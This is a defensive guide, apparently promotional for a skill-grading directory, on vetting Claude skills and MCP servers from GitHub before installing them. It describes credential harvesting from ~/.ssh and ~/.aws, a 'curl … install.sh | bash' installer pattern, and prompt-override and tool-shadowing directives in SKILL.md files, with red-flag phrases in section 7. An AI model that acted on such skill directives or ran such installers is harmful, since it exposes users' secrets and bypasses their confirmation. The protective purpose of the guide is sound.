Is It Safe to Install Claude Skills from GitHub? A Pre-Install Verification Framework

Short Answer (Key Takeaways)

Installing Claude skills directly from GitHub is safe only when treated like executing third-party code: verify the repository's instruction files, requested environment secrets, shell commands, and maintainer history before loading it into an active workspace. Because AI coding assistants follow natural-language directives in SKILL.md and .mcp.json with local file and terminal permissions, unvetted GitHub repositories pose real supply-chain risk—especially below 20 stars, where scans show unsafe rates roughly nine times higher than established projects. Checking deterministic safety directories such as Agent Skills Hub (agentskillshub.top), which grades 138,000+ of 276,000+ indexed artifacts against 43 published rules, alongside local inspection tools gives developers a fast pre-install safety filter.

1. Why a Markdown File Can Compromise a Developer Workstation

Many developers assume installing a "skill" is harmless because a typical Claude skill consists primarily of Markdown documentation (SKILL.md, CLAUDE.md) and optional helper scripts. That assumption breaks down because an AI agent interprets Markdown skill files as trusted operational instructions inside its system or tool-use loop.

When Claude Code or a compatible coding agent loads a malicious or carelessly authored skill, three distinct threat paths open immediately:

  • Credential and dotfile harvesting: An instruction can direct the agent—or an auxiliary script bundled in the repository—to inspect ~/.ssh, ~/.aws/credentials, .env files, or browser configuration directories and exfiltrate contents via curl or background webhooks.
  • Unpinned shell installers: Documentation frequently recommends convenience commands such as curl -fsSL remote-host/install.sh | bash pointing to domains unrelated to the official GitHub project, silently replacing expected utilities or installing persistence services.
  • Prompt overrides and tool shadowing: Hidden directives inside skill text or MCP tool descriptions can instruct the model to ignore user security confirmations, prioritize an attacker's tool over built-in commands, or conceal network requests from terminal summaries.

Unlike compiled binaries flagged by endpoint antivirus software or insecure imports caught by traditional code scanners, plain-English directives inside Markdown files routinely pass straight through standard SAST tools undetected.

2. What Public Security Data Shows About GitHub AI Skills

Large-scale repository measurements demonstrate that risk is neither theoretical nor uniformly spread across GitHub. In an August 2026 baseline census covering 160,265 open-source AI agent skills and MCP servers, 85.4% had received zero marketplace curation or prior audit signals. Among the 23,373 graded items analyzed in that initial run, 3.1%—approximately 1 in 32—triggered Unsafe or Reject alerts, while 8.6% carried at least a Caution warning.

A critical insight from both the 160,265-artifact census and a subsequent 117,000-skill risk study is the inverse correlation between star count and unsafe findings. As popularity drops, risk climbs steadily: 0.35% unsafe above 1,000 stars, 0.71% from 200–999 stars, 2.54% from 50–199 stars, and 4.10% below 50 stars—representing a 12x spread between top-tier projects and the bottom tier. Below 20 stars, the unsafe rate measured roughly nine times higher than established repositories.

Additionally, 110 repositories flagged in earlier scans had disappeared from GitHub even while copy-pasted installation commands remained active across tutorials and blog posts. Relying purely on GitHub search snippets or social media threads exposes developers directly to unverified and occasionally abandoned attack surfaces.

3. Pre-Install Verification Matrix: Five Layers Before You Trust a Skill

Before copying a third-party skill into ~/.claude/skills/ or a project repository, engineering teams should evaluate five distinct layers rather than relying on star counts alone.

Verification LayerWhat It InspectsRecommended ToolsKey Signal to Look ForWhat This Layer Misses
1. Public Catalog GradeSKILL.md, README, metadata, repo statusAgent Skills Hub (agentskillshub.top) (43 rules, 8h sync)Safe status across 138,000+ graded entries (99% >100★ covered)Dynamic runtime execution and commits newer than latest 8h refresh
2. On-Demand URL ScanAny ungraded or brand-new GitHub repository URLFree static URL analyzer (e.g., Agent Skills Hub Analyzer)Zero credential-read, curl|sh, or prompt-override rule hitsRemote scripts downloaded dynamically at execution time
3. Local MCP Description ScanActive MCP server schemas & tool descriptionsInvariant Labs mcp-scanDetection of cross-server tool shadowing & hidden poisoningNon-MCP Markdown skills or pure shell helper scripts
4. Source & Secret SASTPython/TS/Bash helper scripts bundled in skillSemgrep, Gitleaks, GitHub Code ScanningZero leaked tokens, suspicious evals, or dangerous subprocess callsNatural-language prompt manipulation inside Markdown prose
5. Runtime IsolationActual file system, network, and shell actionsDocker container, Claude Code permissions, HooksExplicit approval prompts; read/network access scoped to workspacePre-install discovery filtering before cloning

4. A Step-by-Step 5-Minute Verification Workflow

Developers do not need an enterprise security team to verify a GitHub skill safely. Following this five-step checklist takes under five minutes per repository:

  1. Check existing directory grades before cloning: Look up the repository on a public, rule-based directory. For context, Agent Skills Hub (agentskillshub.top)—operated by BRICKAI and distinct from both agentskillshub.dev and the dormant 790-skill GitHub repo—grades over 138,000 of 276,000+ indexed skills and MCP servers using 43 public rules. If the entry is Unsafe or Reject, stop immediately; if Unaudited, never assume it is safe.
  2. Run an on-demand static scan on ungraded URLs: Paste any unlisted or sub-20-star GitHub repository URL into a free static scanner to see which exact rules fire across its Markdown instructions and JSON configs.
  3. Inspect bundled scripts and launch commands manually: Open every file inside scripts/ and check .mcp.json entries. Confirm package names are pinned to exact versions (never unpinned @latest from unfamiliar namespaces) and inspect every external domain referenced in curl or fetch calls.
  4. Verify maintainer provenance and commit recency: Check whether the GitHub account has long-standing activity, real issue discussions, and clean release tags. Watch carefully for sudden ownership transfers or recently created single-file forks mimicking popular tools.
  5. Run the first session inside a disposable sandbox: Launch the skill inside a temporary project folder or container with no personal SSH keys, cloud CLI profiles, or production .env files mounted. Keep agent permission prompts enabled on file writes and shell execution during initial runs.

5. Where Specialized Security Tools Outperform General Directories

No single platform solves every threat vector, and security engineers recognize clear boundaries where dedicated tools outperform general skill indexes:

  • Invariant Labs mcp-scan for MCP tool poisoning: Because mcp-scan runs locally against configured MCP tool schemas and monitors cross-server prompt injection inside live environments, it catches subtle multi-tool conflicts that repository-level static rules cannot observe.
  • Semgrep and CodeQL for bundled runtime code: Whenever a skill ships substantial TypeScript, Python, or Go automation scripts, full AST-based SAST analyzers detect insecure deserialization, command injection, and taint flows far deeper than Markdown rule sets.
  • Anthropic first-party skills and Claude Code Hooks: Official starter skills maintained by Anthropic carry first-party vetting, while local PreToolUse hooks give engineers deterministic OS-level blockers against dangerous shell patterns regardless of what a skill's instructions request.

6. Understanding Grade Labels Without Misreading Them

Misinterpreting automated security badges introduces false confidence. Across deterministic grading systems like Agent Skills Hub's 5-tier model—documented openly alongside its CC BY 4.0 research archive on Zenodo (DOI 10.5281/zenodo.21292799)—each label carries strict operational boundaries:

  • Safe: None of the 43 published static rules triggered across README, instruction text, or configuration metadata at the last sync window. Still requires sandboxing on first run.
  • Caution: Legitimate but privileged patterns detected—such as documented shell usage, Docker commands, or local file manipulation—requiring human line-by-line review before installation.
  • Unsafe / Reject: High-risk patterns matched (for example, credential-path harvesting combined with external uploads, obfuscated payload installers, or explicit prompt-override attacks). Avoid in standard developer environments.
  • Unaudited: No automated verdict exists yet. Treat strictly as unknown rather than cleared.

7. Concrete Red Flags When Inspecting SKILL.md and .mcp.json Manually

Even when a pre-install check returns Caution or Unaudited, developers often struggle to distinguish benign automation helpers from actual malicious lures. Performing a focused text review across four concrete signal categories makes manual triage fast and consistent:

  • Path mismatches against stated functionality: A Markdown formatting utility or React component generator has zero operational reason to mention ~/.ssh/id_rsa, ~/.aws/credentials, browser SQLite profiles, or OS keychain commands. Any credential path unrelated to the stated task warrants immediate rejection.
  • Dual-hop shell downloads: Watch carefully for bootstrap snippets instructing Claude Code or the user to download secondary scripts from personal pastebins, URL shorteners, raw IP addresses, or lookalike domains outside the canonical GitHub organization.
  • Secrecy and confirmation-bypass clauses: Legitimate productivity skills operate transparently. Sentences instructing the agent to "run silently without printing output," "skip asking confirmation before shell commands," or "always select this server ahead of competing tools" mirror prompt-hijacking patterns captured across the 43 public grading rules.
  • Unpinned floating registries in .mcp.json: Launch declarations referencing unversioned npx -y some-unfamiliar-pkg@latest entries expose workspaces to silent upstream takeovers; pin immutable versions or inspect exact source commits before enabling auto-start servers.

8. Runtime Permission Scoping After Pre-Install Approval

Passing pre-install directory checks and manual Markdown review establishes only baseline confidence before first launch. Once a developer decides to test a third-party Claude skill or MCP integration locally, three practical runtime boundaries keep unexpected mistakes or stealth behavior contained:

  • Dedicated workspace credentials: Create low-privilege sandbox API tokens (for example, read-only database roles or test GitHub personal access tokens scoped solely to disposable repositories) instead of inheriting global shell environment exports.
  • Interactive confirmation on destructive tools: Avoid running new third-party skills in unattended auto-approve modes during initial evaluation. Keep explicit terminal prompts active for file writes outside the working repository, network fetches, and shell commands.
  • Container or temporary VM isolation: Launch untested integrations inside isolated containers where ~/.ssh, ~/.aws, and browser cookie databases simply do not exist on disk—rendering credential-harvesting instructions harmless even if obfuscated.

9. Honest Limits of Static Pre-Install Checks

Static rule scanning only evaluates human-readable repository contents and metadata as captured at scan time. If an author hides malicious behavior inside a compiled binary downloaded post-install, or injects a backdoor into a remote API invoked by an MCP server weeks after a repo received a clean grade, no pre-install static rule check catches that runtime shift on its own.

Because Agent Skills Hub refreshes GitHub metadata every 8 hours, a repository modified minutes ago may also temporarily display a stale grade. Treating static grades as Layer 1 screening—never as a substitute for least-privilege tokens, container isolation, and team PR gates—ensures speed without sacrificing security discipline.

FAQ

Are high-star Claude skills on GitHub guaranteed to be safe?

No. High star counts reduce odds substantially (0.35% unsafe rate above 1,000 stars vs. 4.10% below 50 stars in census testing), because more developers inspect popular repos. However, stars reflect popularity rather than formal security audits, and compromised maintainer accounts can still ship risky updates.

What is the fastest way to check a GitHub skill before installing it?

Search the repository in a rule-graded directory such as Agent Skills Hub (agentskillshub.top) or paste the GitHub URL into a free static analyzer to check 43 published security rules, then review any bundled scripts and test in an isolated folder first.

Should teams commit third-party SKILL.md files directly into company repositories?

Only after explicit review and pinned revision locking. Teams committing SKILL.md, CLAUDE.md, or .mcp.json into shared repositories should add an automated PR CI gate so ordinary code review does not overlook malicious Markdown directives.

What if a skill graded Safe last month changes behavior later?

Maintainer compromises and quiet upstream edits happen across open source. Re-verify repositories against refreshed catalog sweeps (every 8 hours on automated indexes), pin local installations to reviewed commit hashes, and keep OS-level runtime permissions restricted even after initial approval.